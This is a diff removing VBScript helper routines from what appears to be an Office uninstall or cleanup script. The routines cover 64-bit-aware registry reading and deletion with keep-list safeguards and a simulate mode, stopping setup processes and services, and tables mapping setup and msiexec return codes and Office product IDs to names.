-Function RegReadValue(hDefKey, sSubKeyName, sName, sValue, sType)
-    Dim RetVal
-    Dim Item
-    Dim arrValues
-
-    Select Case UCase(sType)
-        Case "1","REG_SZ"
-            RetVal = oReg.GetStringValue(hDefKey,sSubKeyName,sName,sValue)
-            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetStringValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
-
-        Case "2","REG_EXPAND_SZ"
-            RetVal = oReg.GetExpandedStringValue(hDefKey,sSubKeyName,sName,sValue)
-            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetExpandedStringValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
-
-        Case "7","REG_MULTI_SZ"
-            RetVal = oReg.GetMultiStringValue(hDefKey,sSubKeyName,sName,arrValues)
-            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetMultiStringValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,arrValues)
-            If RetVal = 0 Then sValue = Join(arrValues,chr(34))
-
-        Case "4","REG_DWORD"
-            RetVal = oReg.GetDWORDValue(hDefKey,sSubKeyName,sName,sValue)
-            If Not RetVal = 0 AND f64 Then
-                RetVal = oReg.GetDWORDValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
-            End If
-
-        Case "3","REG_BINARY"
-            RetVal = oReg.GetBinaryValue(hDefKey,sSubKeyName,sName,sValue)
-            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetBinaryValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
-
-        Case "11","REG_QWORD"
-            RetVal = oReg.GetQWORDValue(hDefKey,sSubKeyName,sName,sValue)
-            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetQWORDValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
-
-        Case Else
-            RetVal = -1
-    End Select 'sValue
-
-    RegReadValue = (RetVal = 0)
-End Function 'RegReadValue
-'=======================================================================================================
-
-'Enumerate a registry key to return all values
-Function RegEnumValues(hDefKey,sSubKeyName,arrNames, arrTypes)
-    Dim RetVal, RetVal64
-    Dim arrNames32, arrNames64, arrTypes32, arrTypes64
-
-    If f64 Then
-        RetVal = oReg.EnumValues(hDefKey,sSubKeyName,arrNames32,arrTypes32)
-        RetVal64 = oReg.EnumValues(hDefKey,Wow64Key(hDefKey, sSubKeyName),arrNames64,arrTypes64)
-        If (RetVal = 0) AND (Not RetVal64 = 0) AND IsArray(arrNames32) AND IsArray(arrTypes32) Then
-            arrNames = arrNames32
-            arrTypes = arrTypes32
-        End If
-        If (Not RetVal = 0) AND (RetVal64 = 0) AND IsArray(arrNames64) AND IsArray(arrTypes64) Then
-            arrNames = arrNames64
-            arrTypes = arrTypes64
-        End If
-        If (RetVal = 0) AND (RetVal64 = 0) AND IsArray(arrNames32) AND IsArray(arrNames64) AND IsArray(arrTypes32) AND IsArray(arrTypes64) Then
-            arrNames = RemoveDuplicates(Split((Join(arrNames32,"\") & "\" & Join(arrNames64,"\")),"\"))
-            arrTypes = RemoveDuplicates(Split((Join(arrTypes32,"\") & "\" & Join(arrTypes64,"\")),"\"))
-        End If
-    Else
-        RetVal = oReg.EnumValues(hDefKey,sSubKeyName,arrNames,arrTypes)
-    End If 'f64
-    RegEnumValues = ((RetVal = 0) OR (RetVal64 = 0)) AND IsArray(arrNames) AND IsArray(arrTypes)
-End Function 'RegEnumValues
-'=======================================================================================================
-
-'Enumerate a registry key to return all subkeys
-Function RegEnumKey(hDefKey,sSubKeyName,arrKeys)
-    Dim RetVal, RetVal64
-    Dim arrKeys32, arrKeys64
-
-    If f64 Then
-        RetVal = oReg.EnumKey(hDefKey,sSubKeyName,arrKeys32)
-        RetVal64 = oReg.EnumKey(hDefKey,Wow64Key(hDefKey, sSubKeyName),arrKeys64)
-        If (RetVal = 0) AND (Not RetVal64 = 0) AND IsArray(arrKeys32) Then arrKeys = arrKeys32
-        If (Not RetVal = 0) AND (RetVal64 = 0) AND IsArray(arrKeys64) Then arrKeys = arrKeys64
-        If (RetVal = 0) AND (RetVal64 = 0) Then
-            If IsArray(arrKeys32) AND IsArray (arrKeys64) Then
-                arrKeys = RemoveDuplicates(Split((Join(arrKeys32,"\") & "\" & Join(arrKeys64,"\")),"\"))
-            ElseIf IsArray(arrKeys64) Then
-                arrKeys = arrKeys64
-            Else
-                arrKeys = arrKeys32
-            End If
-        End If
-    Else
-        RetVal = oReg.EnumKey(hDefKey,sSubKeyName,arrKeys)
-    End If 'f64
-    RegEnumKey = ((RetVal = 0) OR (RetVal64 = 0)) AND IsArray(arrKeys)
-End Function 'RegEnumKey
-'=======================================================================================================
-
-'Wrapper around oReg.DeleteValue to handle 64 bit
-Sub RegDeleteValue(hDefKey, sSubKeyName, sName, fRegMultiSZ)
-    Dim sWow64Key,sRealName
-    Dim iRetVal
-
-    sRealName = sName
-    If UCase(sName) = "(DEFAULT)" Then sRealName = ""
-
-    If dictionaryKeepReg.Exists(LCase(sSubKeyName & sName)) Then
-        If NOT fForce Then
-            LogOnly " - Disallowing the delete of still required keypath element: " & HiveString(hDefKey) & "\" & sSubKeyName & sName
-            Exit Sub
-        Else
-            LogOnly " - Enforced delete of still required keypath element. Remaining applications will need a repair!"
-        End If
-    End If
-    If f64 Then
-        If dictionaryKeepReg.Exists(LCase(Wow64Key(hDefKey, sSubKeyName) & sName)) Then
-            If NOT fForce Then
-                LogOnly " - Disallowing the delete of still required keypath element: " & HiveString(hDefKey) & "\" & sSubKeyName & sName
-                Exit Sub
-            Else
-                LogOnly " - Enforced delete of still required keypath element. Remaining applications will need a repair!"
-            End If
-        End If
-    End If
-
-    If RegValExists(hDefKey,sSubKeyName,sRealName) Then
-        On Error Resume Next
-        If RegReadValue(hDefKey,sSubKeyName,sName,sValue,"REG_MULTI_SZ") Then
-            LogOnly " - Disallowing unsafe delete of REG_MULTI_SZ: " & HiveString(hDefKey) & "\" & sSubKeyName & sName
-            Exit Sub
-        End If
-        If Not fDetectOnly Then
-            LogOnly " - Delete registry value: " & HiveString(hDefKey) & "\" & sSubKeyName & " -> " & sName
-            iRetVal = 0
-            iRetVal = oReg.DeleteValue(hDefKey, sSubKeyName, sRealName)
-            CheckError "RegDeleteValue"
-            If NOT (iRetVal=0) Then LogOnly "     Delete failed. Return value: "&iRetVal
-        Else
-            LogOnly " - Simulate delete registry value: " & HiveString(hDefKey) & "\" & sSubKeyName & " -> " & sName
-        End If
-        On Error Goto 0
-    End If 'RegValExists
-    If f64 Then
-        sWow64Key = Wow64Key(hDefKey, sSubKeyName)
-        If RegValExists(hDefKey,sWow64Key,sRealName) Then
-            On Error Resume Next
-            If RegReadValue(hDefKey,sSubKeyName,sName,sValue,"REG_MULTI_SZ") Then
-                LogOnly " - Disallowing unsafe delete of REG_MULTI_SZ: " & HiveString(hDefKey) & "\" & sSubKeyName & sName
-                Exit Sub
-            End If
-            If Not fDetectOnly Then
-            LogOnly " - Delete registry value: " & HiveString(hDefKey) & "\" & sWow64Key & " -> " & sName
-                iRetVal = 0
-                iRetVal = oReg.DeleteValue(hDefKey, sWow64Key, sRealName)
-                CheckError "RegDeleteValue"
-                If NOT (iRetVal=0) Then LogOnly "     Delete failed. Return value: "&iRetVal
-            Else
-                LogOnly " - Simulate delete registry value: " & HiveString(hDefKey) & "\" & sWow64Key & " -> " & sName
-            End If
-            On Error Goto 0
-        End If 'RegKeyExists
-    End If
-End Sub 'RegDeleteValue
-'=======================================================================================================
-
-'Wrappper around RegDeleteKeyEx to handle 64bit scenrios
-Sub RegDeleteKey(hDefKey, sSubKeyName)
-    Dim sWow64Key
-
-    'Ensure trailing "\"
-    sSubKeyName = sSubKeyName & "\"
-    While InStr(sSubKeyName,"\\")>0
-        sSubKeyName = Replace(sSubKeyName,"\\","\")
-    Wend
-
-    If dictionaryKeepReg.Exists(LCase(sSubKeyName)) Then
-        If NOT fForce Then
-            LogOnly " - Disallowing the delete of still required keypath element: " & HiveString(hDefKey) & "\" & sSubKeyName
-            Exit Sub
-        Else
-            LogOnly " - Enforced delete of still required keypath element. Remaining applications will need a repair!"
-        End If
-    End If
-    If f64 Then
-        If dictionaryKeepReg.Exists(LCase(Wow64Key(hDefKey, sSubKeyName))) Then
-            If NOT fForce Then
-                LogOnly " - Disallowing the delete of still required keypath element: " & HiveString(hDefKey) & "\" & sSubKeyName
-                Exit Sub
-            Else
-                LogOnly " - Enforced delete of still required keypath element. Remaining applications will need a repair!"
-            End If
-        End If
-    End If
-
-    If Len(sSubKeyName) > 1 Then
-        'Strip of trailing "\"
-        sSubKeyName = Left(sSubKeyName,Len(sSubKeyName)-1)
-    End If
-
-    If RegKeyExists(hDefKey, sSubKeyName) Then
-        If Not fDetectOnly Then
-            LogOnly " - Delete registry key: " & HiveString(hDefKey) & "\" & sSubKeyName
-            On Error Resume Next
-            RegDeleteKeyEx hDefKey, sSubKeyName
-            On Error Goto 0
-        Else
-            LogOnly " - Simulate delete registry key: " & HiveString(hDefKey) & "\" & sSubKeyName
-        End If
-    End If 'RegKeyExists
-    If f64 Then
-        sWow64Key = Wow64Key(hDefKey, sSubKeyName)
-        If RegKeyExists(hDefKey,sWow64Key) Then
-            If Not fDetectOnly Then
-                LogOnly " - Delete registry key: " & HiveString(hDefKey) & "\" & sWow64Key
-                On Error Resume Next
-                RegDeleteKeyEx hDefKey, sWow64Key
-                On Error Goto 0
-            Else
-                LogOnly " - Simulate delete registry key: " & HiveString(hDefKey) & "\" & sWow64Key
-            End If
-        End If 'RegKeyExists
-    End If
-End Sub 'RegDeleteKey
-'=======================================================================================================
-
-'Recursively delete a registry structure
-Sub RegDeleteKeyEx(hDefKey, sSubKeyName)
-    Dim arrSubkeys
-    Dim sSubkey
-    Dim iRetVal
-
-    On Error Resume Next
-    oReg.EnumKey hDefKey, sSubKeyName, arrSubkeys
-    If IsArray(arrSubkeys) Then
-        For Each sSubkey In arrSubkeys
-            RegDeleteKeyEx hDefKey, sSubKeyName & "\" & sSubkey
-        Next
-    End If
-    If Not fDetectOnly Then
-        iRetVal = 0
-        iRetVal = oReg.DeleteKey(hDefKey,sSubKeyName)
-        If NOT (iRetVal=0) Then LogOnly "     Delete failed. Return value: "&iRetVal
-    End If
-End Sub 'RegDeleteKeyEx
-'=======================================================================================================
-
-'Return the alternate regkey location on 64bit environment
-Function Wow64Key(hDefKey, sSubKeyName)
-    Dim iPos
-
-    Select Case hDefKey
-        Case HKCU
-            If Left(sSubKeyName,17) = "Software\Classes\" Then
-                Wow64Key = Left(sSubKeyName,17) & "Wow6432Node\" & Right(sSubKeyName,Len(sSubKeyName)-17)
-            Else
-                iPos = InStr(sSubKeyName,"\")
-                Wow64Key = Left(sSubKeyName,iPos) & "Wow6432Node\" & Right(sSubKeyName,Len(sSubKeyName)-iPos)
-            End If
-
-        Case HKLM
-            If Left(sSubKeyName,17) = "Software\Classes\" Then
-                Wow64Key = Left(sSubKeyName,17) & "Wow6432Node\" & Right(sSubKeyName,Len(sSubKeyName)-17)
-            Else
-                iPos = InStr(sSubKeyName,"\")
-                Wow64Key = Left(sSubKeyName,iPos) & "Wow6432Node\" & Right(sSubKeyName,Len(sSubKeyName)-iPos)
-            End If
-
-        Case Else
-            Wow64Key = "Wow6432Node\" & sSubKeyName
-
-    End Select 'hDefKey
-End Function 'Wow64Key
-'=======================================================================================================
-
-'Remove duplicate entries from a one dimensional array
-Function RemoveDuplicates(Array)
-    Dim Item
-    Dim oDic
-
-    Set oDic = CreateObject("Scripting.Dictionary")
-    For Each Item in Array
-        If Not oDic.Exists(Item) Then oDic.Add Item,Item
-    Next 'Item
-    RemoveDuplicates = oDic.Keys
-End Function 'RemoveDuplicates
-'=======================================================================================================
-
-'End running instances of setup
-Sub EndCurrentInstalls ()
-    Dim Processes, Process
-    Dim iRet
-
-    Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process Where Name like '%setup%' OR Name like '%install%'")
-    For Each Process in Processes
-        Log " - End process " & Process.Name
-        iRet = Process.Terminate()
-        CheckError "EndCurrentInstalls: " & "Process.Name"
-    Next 'Process
-    StopService "msiserver"
-End Sub 'EndCurrentInstalls
-'=======================================================================================================
-
-'Uses WMI to stop a service
-Function StopService(sService)
-    Dim Services, Service
-    Dim sQuery
-    Dim iRet
-
-    On Error Resume Next
-
-    iRet = 0
-    sQuery = "Select * From Win32_Service Where Name='" & sService & "'"
-    Set Services = oWmiLocal.Execquery(sQuery)
-    'Stop the service
-    For Each Service in Services
-        If UCase(Service.State) = "STARTED" Then iRet = Service.StopService
-        If UCase(Service.State) = "RUNNING" Then iRet = Service.StopService
-
-    Next 'Service
-    StopService = (iRet = 0)
-End Function 'StopService
-'=======================================================================================================
-
-'Delete a service
-Sub DeleteService(sService)
-    Dim Services, Service, Processes, Process
-    Dim sQuery, sStates
-    Dim iRet
-
-    On Error Resume Next
-
-    sStates = "STARTED;RUNNING"
-    sQuery = "Select * From Win32_Service Where Name='" & sService & "'"
-    Set Services = oWmiLocal.Execquery(sQuery)
-
-    'Stop and delete the service
-    For Each Service in Services
-        Log " Found service " & sService & " in state " & Service.State
-        If InStr(sStates,UCase(Service.State))>0 Then iRet = Service.StopService()
-        'Ensure no more instances of the service are running
-        Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process Where Name='" & sService & ".exe'")
-        For Each Process in Processes
-            iRet = Process.Terminate()
-        Next 'Process
-        If Not fDetectOnly Then
-            Log " - Deleting Service -> " & sService
-            iRet = Service.Delete()
-        Else
-            Log " - Simulate deleting Service -> " & sService
-        End If
-    Next 'Service
-    Set Services = Nothing
-    Err.Clear
-
-End Sub 'DeleteService
-'=======================================================================================================
-
-'Translation for setup.exe error codes
-Function SetupRetVal(RetVal)
-    Select Case RetVal
-        Case 0 : SetupRetVal = "Success"
-        Case 30001,1 : SetupRetVal = "AbstractMethod"
-        Case 30002,2 : SetupRetVal = "ApiProhibited"
-        Case 30003,3  : SetupRetVal = "AlreadyImpersonatingAUser"
-        Case 30004,4 : SetupRetVal = "AlreadyInitialized"
-        Case 30005,5 : SetupRetVal = "ArgumentNullException"
-        Case 30006,6 : SetupRetVal = "AssertionFailed"
-        Case 30007,7 : SetupRetVal = "CABFileAddFailed"
-        Case 30008,8 : SetupRetVal = "CommandFailed"
-        Case 30009,9 : SetupRetVal = "ConcatenationFailed"
-        Case 30010,10 : SetupRetVal = "CopyFailed"
-        Case 30011,11 : SetupRetVal = "CreateEventFailed"
-        Case 30012,12 : SetupRetVal = "CustomizationPatchNotFound"
-        Case 30013,13 : SetupRetVal = "CustomizationPatchNotApplicable"
-        Case 30014,14 : SetupRetVal = "DuplicateDefinition"
-        Case 30015,15 : SetupRetVal = "ErrorCodeOnly - Passthrough for Win32 error"
-        Case 30016,16 : SetupRetVal = "ExceptionNotThrown"
-        Case 30017,17 : SetupRetVal = "FailedToImpersonateUser"
-        Case 30018,18 : SetupRetVal = "FailedToInitializeFlexDataSource"
-        Case 30019,19 : SetupRetVal = "FailedToStartClassFactories"
-        Case 30020,20 : SetupRetVal = "FileNotFound"
-        Case 30021,21 : SetupRetVal = "FileNotOpen"
-        Case 30022,22 : SetupRetVal = "FlexDialogAlreadyInitialized"
-        Case 30023,23 : SetupRetVal = "HResultOnly - Passthrough for HRESULT errors"
-        Case 30024,24 : SetupRetVal = "HWNDNotFound"
-        Case 30025,25 : SetupRetVal = "IncompatibleCacheAction"
-        Case 30026,26 : SetupRetVal = "IncompleteProductAddOns"
-        Case 30027,27 : SetupRetVal = "InstalledProductStateCorrupt"
-        Case 30028,28 : SetupRetVal = "InsufficientBuffer"
-        Case 30029,29 : SetupRetVal = "InvalidArgument"
-        Case 30030,30 : SetupRetVal = "InvalidCDKey"
-        Case 30031,31 : SetupRetVal = "InvalidColumnType"
-        Case 30032,31 : SetupRetVal = "InvalidConfigAddLanguage"
-        Case 30033,33 : SetupRetVal = "InvalidData"
-        Case 30034,34 : SetupRetVal = "InvalidDirectory"
-        Case 30035,35 : SetupRetVal = "InvalidFormat"
-        Case 30036,36 : SetupRetVal = "InvalidInitialization"
-        Case 30037,37 : SetupRetVal = "InvalidMethod"
-        Case 30038,38 : SetupRetVal = "InvalidOperation"
-        Case 30039,39 : SetupRetVal = "InvalidParameter"
-        Case 30040,40 : SetupRetVal = "InvalidProductFromARP"
-        Case 30041,41 : SetupRetVal = "InvalidProductInConfigXml"
-        Case 30042,42 : SetupRetVal = "InvalidReference"
-        Case 30043,43 : SetupRetVal = "InvalidRegistryValueType"
-        Case 30044,44 : SetupRetVal = "InvalidXMLProperty"
-        Case 30045,45 : SetupRetVal = "InvalidMetadataFile"
-        Case 30046,46 : SetupRetVal = "LogNotInitialized"
-        Case 30047,47 : SetupRetVal = "LogAlreadyInitialized"
-        Case 30048,48 : SetupRetVal = "MissingXMLNode"
-        Case 30049,49 : SetupRetVal = "MsiTableNotFound"
-        Case 30050,50 : SetupRetVal = "MsiAPICallFailure"
-        Case 30051,51 : SetupRetVal = "NodeNotOfTypeElement"
-        Case 30052,52 : SetupRetVal = "NoMoreGraceBoots"
-        Case 30053,53 : SetupRetVal = "NoProductsFound"
-        Case 30054,54 : SetupRetVal = "NoSupportedCulture"
-        Case 30055,55 : SetupRetVal = "NotYetImplemented"
-        Case 30056,56 : SetupRetVal = "NotAvailableCulture"
-        Case 30057,57 : SetupRetVal = "NotCustomizationPatch"
-        Case 30058,58 : SetupRetVal = "NullReference"
-        Case 30059,59 : SetupRetVal = "OCTPatchForbidden"
-        Case 30060,60 : SetupRetVal = "OCTWrongMSIDll"
-        Case 30061,61 : SetupRetVal = "OutOfBoundsIndex"
-        Case 30062,62 : SetupRetVal = "OutOfDiskSpace"
-        Case 30063,63 : SetupRetVal = "OutOfMemory"
-        Case 30064,64 : SetupRetVal = "OutOfRange"
-        Case 30065,65 : SetupRetVal = "PatchApplicationFailure"
-        Case 30066,66 : SetupRetVal = "PreReqCheckFailure"
-        Case 30067,67 : SetupRetVal = "ProcessAlreadyStarted"
-        Case 30068,68 : SetupRetVal = "ProcessNotStarted"
-        Case 30069,69 : SetupRetVal = "ProcessNotFinished"
-        Case 30070,70 : SetupRetVal = "ProductAlreadyDefined"
-        Case 30071,71 : SetupRetVal = "ResourceAlreadyTracked"
-        Case 30072,72 : SetupRetVal = "ResourceNotFound"
-        Case 30073,73 : SetupRetVal = "ResourceNotTracked"
-        Case 30074,74 : SetupRetVal = "SQLAlreadyConnected"
-        Case 30075,75 : SetupRetVal = "SQLFailedToAllocateHandle"
-        Case 30076,76 : SetupRetVal = "SQLFailedToConnect"
-        Case 30077,77 : SetupRetVal = "SQLFailedToExecuteStatement"
-        Case 30078,78 : SetupRetVal = "SQLFailedToRetrieveData"
-        Case 30079,79 : SetupRetVal = "SQLFailedToSetAttribute"
-        Case 30080,80 : SetupRetVal = "StorageNotCreated"
-        Case 30081,81 : SetupRetVal = "StreamNameTooLong"
-        Case 30082,82 : SetupRetVal = "SystemError"
-        Case 30083,83 : SetupRetVal = "ThreadAlreadyStarted"
-        Case 30084,84 : SetupRetVal = "ThreadNotStarted"
-        Case 30085,85 : SetupRetVal = "ThreadNotFinished"
-        Case 30086,86 : SetupRetVal = "TooManyProducts"
-        Case 30087,87 : SetupRetVal = "UnexpectedXMLNodeType"
-        Case 30088,88 : SetupRetVal = "UnexpectedError"
-        Case 30089,89 : SetupRetVal = "Unitialized"
-        Case 30090,90 : SetupRetVal = "UserCancel"
-        Case 30091,91 : SetupRetVal = "ExternalCommandFailed"
-        Case 30092,92 : SetupRetVal = "SPDatabaseOverSize"
-        Case 30093,93 : SetupRetVal = "IntegerTruncation"
-        'msiexec return values
-        Case 1259 : SetupRetVal = "APPHELP_BLOCK"
-        Case 1601 : SetupRetVal = "INSTALL_SERVICE_FAILURE"
-        Case 1602 : SetupRetVal = "INSTALL_USEREXIT"
-        Case 1603 : SetupRetVal = "INSTALL_FAILURE"
-        Case 1604 : SetupRetVal = "INSTALL_SUSPEND"
-        Case 1605 : SetupRetVal = "UNKNOWN_PRODUCT"
-        Case 1606 : SetupRetVal = "UNKNOWN_FEATURE"
-        Case 1607 : SetupRetVal = "UNKNOWN_COMPONENT"
-        Case 1608 : SetupRetVal = "UNKNOWN_PROPERTY"
-        Case 1609 : SetupRetVal = "INVALID_HANDLE_STATE"
-        Case 1610 : SetupRetVal = "BAD_CONFIGURATION"
-        Case 1611 : SetupRetVal = "INDEX_ABSENT"
-        Case 1612 : SetupRetVal = "INSTALL_SOURCE_ABSENT"
-        Case 1613 : SetupRetVal = "INSTALL_PACKAGE_VERSION"
-        Case 1614 : SetupRetVal = "PRODUCT_UNINSTALLED"
-        Case 1615 : SetupRetVal = "BAD_QUERY_SYNTAX"
-        Case 1616 : SetupRetVal = "INVALID_FIELD"
-        Case 1618 : SetupRetVal = "INSTALL_ALREADY_RUNNING"
-        Case 1619 : SetupRetVal = "INSTALL_PACKAGE_OPEN_FAILED"
-        Case 1620 : SetupRetVal = "INSTALL_PACKAGE_INVALID"
-        Case 1621 : SetupRetVal = "INSTALL_UI_FAILURE"
-        Case 1622 : SetupRetVal = "INSTALL_LOG_FAILURE"
-        Case 1623 : SetupRetVal = "INSTALL_LANGUAGE_UNSUPPORTED"
-        Case 1624 : SetupRetVal = "INSTALL_TRANSFORM_FAILURE"
-        Case 1625 : SetupRetVal = "INSTALL_PACKAGE_REJECTED"
-        Case 1626 : SetupRetVal = "FUNCTION_NOT_CALLED"
-        Case 1627 : SetupRetVal = "FUNCTION_FAILED"
-        Case 1628 : SetupRetVal = "INVALID_TABLE"
-        Case 1629 : SetupRetVal = "DATATYPE_MISMATCH"
-        Case 1630 : SetupRetVal = "UNSUPPORTED_TYPE"
-        Case 1631 : SetupRetVal = "CREATE_FAILED"
-        Case 1632 : SetupRetVal = "INSTALL_TEMP_UNWRITABLE"
-        Case 1633 : SetupRetVal = "INSTALL_PLATFORM_UNSUPPORTED"
-        Case 1634 : SetupRetVal = "INSTALL_NOTUSED"
-        Case 1635 : SetupRetVal = "PATCH_PACKAGE_OPEN_FAILED"
-        Case 1636 : SetupRetVal = "PATCH_PACKAGE_INVALID"
-        Case 1637 : SetupRetVal = "PATCH_PACKAGE_UNSUPPORTED"
-        Case 1638 : SetupRetVal = "PRODUCT_VERSION"
-        Case 1639 : SetupRetVal = "INVALID_COMMAND_LINE"
-        Case 1640 : SetupRetVal = "INSTALL_REMOTE_DISALLOWED"
-        Case 1641 : SetupRetVal = "SUCCESS_REBOOT_INITIATED"
-        Case 1642 : SetupRetVal = "PATCH_TARGET_NOT_FOUND"
-        Case 1643 : SetupRetVal = "PATCH_PACKAGE_REJECTED"
-        Case 1644 : SetupRetVal = "INSTALL_TRANSFORM_REJECTED"
-        Case 1645 : SetupRetVal = "INSTALL_REMOTE_PROHIBITED"
-        Case 1646 : SetupRetVal = "PATCH_REMOVAL_UNSUPPORTED"
-        Case 1647 : SetupRetVal = "UNKNOWN_PATCH"
-        Case 1648 : SetupRetVal = "PATCH_NO_SEQUENCE"
-        Case 1649 : SetupRetVal = "PATCH_REMOVAL_DISALLOWED"
-        Case 1650 : SetupRetVal = "INVALID_PATCH_XML"
-        Case 3010 : SetupRetVal = "SUCCESS_REBOOT_REQUIRED"
-        Case Else : SetupRetVal = "Unknown Return Value"
-    End Select
-End Function 'SetupRetVal
-'=======================================================================================================
-
-Function GetProductID(sProdID)
-        Dim sReturn
-
-        Select Case sProdId
-
-        Case "000F" : sReturn = "MONDO"
-        Case "0010" : sReturn = "WEBFLDRS"
-        Case "0011" : sReturn = "PROPLUS"
-        Case "0012" : sReturn = "STANDARD"
-        Case "0013" : sReturn = "BASIC"
-        Case "0014" : sReturn = "PRO"
-        Case "0015" : sReturn = "ACCESS"
-        Case "0016" : sReturn = "EXCEL"
-        Case "0017" : sReturn = "SharePointDesigner"
-        Case "0018" : sReturn = "PowerPoint"
-        Case "0019" : sReturn = "Publisher"
-        Case "001A" : sReturn = "Outlook"
-        Case "001B" : sReturn = "Word"
-        Case "001C" : sReturn = "AccessRuntime"
-        Case "001F" : sReturn = "Proof"
-        Case "0020" : sReturn = "O2007CNV"
-        Case "0021" : sReturn = "VisualWebDeveloper"
-        Case "0026" : sReturn = "ExpressionWeb"
-        Case "0029" : sReturn = "Excel"
-        Case "002A" : sReturn = "Office64"
-        Case "002B" : sReturn = "Word"
-        Case "002C" : sReturn = "Proofing"
-        Case "002E" : sReturn = "Ultimate"
-        Case "002F" : sReturn = "HomeAndStudent"
-        Case "0028" : sReturn = "IME"
-        Case "0030" : sReturn = "Enterprise"
-        Case "0031" : sReturn = "ProfessionalHybrid"
-        Case "0033" : sReturn = "Personal"
-        Case "0035" : sReturn = "ProfessionalHybrid"
-        Case "0037" : sReturn = "PowerPoint"
-        Case "0038" : sReturn = "OlTimeZoneTool"
-        Case "003A" : sReturn = "PrjStd"
-        Case "003B" : sReturn = "PrjPro"
-        Case "003D" : sReturn = "SINGLEIMAGE"
-        Case "0043" : sReturn = "OFFICE32"
-        Case "0044" : sReturn = "InfoPath"
-        Case "0045" : sReturn = "XWEB"
-        Case "0048" : sReturn = "OLC"
-        Case "0049" : sReturn = "ACADEMIC"
-        Case "004A" : sReturn = "OWC11"
-        Case "0051" : sReturn = "VISPRO"
-        Case "0052" : sReturn = "VisView"
-        Case "0053" : sReturn = "VisStd"
-        Case "0054" : sReturn = "VisMUI"
-        Case "0055" : sReturn = "VisMUI"
-        Case "0057" : sReturn = "VISIO"
-        Case "0061" : sReturn = "CLICK2RUN"
-        Case "0062" : sReturn = "CLICK2RUN"
-        Case "0066" : sReturn = "CLICK2RUN"
-        Case "006C" : sReturn = "CLICK2RUN"
-        Case "006D" : sReturn = "CLICK2RUN"
-        Case "006E" : sReturn = "Shared"
-        Case "006F" : sReturn = "OFFICE"
-        Case "0070" : sReturn = "OOBE"
-        Case "0074" : sReturn = "STARTER"
-        Case "007A" : sReturn = "OLC" 'Outlook Connector
-        Case "007C" : sReturn = "OSCFB" 'Outlook Social Connector for FaceBook
-        Case "007D" : sReturn = "OSCWL" 'Outlook Social Connector for Windows Live Messenger
-        Case "007F" : sReturn = "OLC" 'Outlook Social Connector
-        Case "008A" : sReturn = "RecentDocs"
-        Case "008B" : sReturn = "SmallBusinessBasics"
-        Case "00A1" : sReturn = "ONENOTE"
-        Case "00A3" : sReturn = "OneNoteHomeStudent"
-        Case "00A4" : sReturn = "OWC11"
-        Case "00A7" : sReturn = "CPAO"
-        Case "00A9" : sReturn = "InterConnect"
-        Case "00AF" : sReturn = "PPtView"
-        Case "00B0" : sReturn = "ExPdf"
-        Case "00B1" : sReturn = "ExXps"
-        Case "00B2" : sReturn = "ExPdfXps"
-        Case "00B4" : sReturn = "PrjMUI"
-        Case "00B5" : sReturn = "PrjtMUI"
-        Case "00B9" : sReturn = "AER"
-        Case "00BA" : sReturn = "Groove"
-        Case "00CA" : sReturn = "SmallBusiness"
-        Case "00E0" : sReturn = "Outlook"
-        Case "00D1" : sReturn = "ACE"
-        Case "0100" : sReturn = "OfficeMUI"
-        Case "0101" : sReturn = "OfficeXMUI"
-        Case "0103" : sReturn = "PTK"
-        Case "0114" : sReturn = "GrooveSetupMetadata"
-        Case "0115" : sReturn = "SharedSetupMetadata"
-        Case "0116" : sReturn = "SharedSetupMetadata"
-        Case "0117" : sReturn = "AccessSetupMetadata"
-        Case "011A" : sReturn = "SendASmile"
-        Case "011D" : sReturn = "ProPlusSubscription"
-        Case "011F" : sReturn = "OLConnect"
-        Case "0126" : sReturn = "WWLIBCXM"
-
-        Case "1014" : sReturn = "STS"
-        Case "1015" : sReturn = "WSSMUI"
-        Case "1032" : sReturn = "PJSVRAPP"
-        Case "104B" : sReturn = "SPS"
-        Case "104E" : sReturn = "SPSMUI"
-        Case "107F" : sReturn = "OSrv"
-        Case "1080" : sReturn = "OSrv"
-        Case "1088" : sReturn = "lpsrvwfe"
-        Case "10D7" : sReturn = "IFS"
-        Case "10D8" : sReturn = "IFSMUI"
-        Case "10EB" : sReturn = "DLCAPP"
-        Case "10F5" : sReturn = "XLSRVAPP"
-        Case "10F6" : sReturn = "XlSrvWFE"
-        Case "10F7" : sReturn = "DLC"
-        Case "10F8" : sReturn = "SlSrvMui"
-        Case "10FB" : sReturn = "OSrchWFE"
-        Case "10FC" : sReturn = "OSRCHAPP"
-        Case "10FD" : sReturn = "OSrchMUI"
-        Case "1103" : sReturn = "DLC"
-        Case "1104" : sReturn = "LHPSRV"
-        Case "1105" : sReturn = "PIA"
-        Case "1106" : sReturn = "GRVMGMTSRV"
-        Case "1109" : sReturn = "GSERVERRELAY"
-        Case "110D" : sReturn = "OSERVER"
-        Case "110F" : sReturn = "PSERVER"
-        Case "1110" : sReturn = "WSS"
-        Case "1121" : sReturn = "SPSSDK"
-        Case "1122" : sReturn = "SPSDev"
-        Case "1163" : sReturn = "SCC" 'SharePoint Client Components
-        Case Else : sReturn = sProdID
-
-        End Select 'sProdId
-    GetProductID = sReturn
-End Function 'GetProductID
-'=======================================================================================================
-
-Sub Log (sLog)
-    If NOT fQuiet AND fCScript Then wscript.echo sLog
-    LogStream.WriteLine sLog
-End Sub 'Log
-'=======================================================================================================
-
-Sub LogOnly (sLog)
-    LogStream.WriteLine sLog
-End Sub 'Log
-'=======================================================================================================
-
-Sub CheckError(sModule)
-    If Err <> 0 Then
-        LogOnly "   " & Now & " - " & sModule & " - Source: " & Err.Source & "; Err# (Hex): " & Hex( Err ) & _
-               "; Err# (Dec): " & Err & "; Description : " & Err.Description
-    End If 'Err = 0
-    Err.Clear
-End Sub
-'=======================================================================================================
-
-'Command line parser
-Sub ParseCmdLine
-
-    Dim iCnt, iArgCnt
-    Dim arrArguments
-    Dim sArg0, sArguments
-
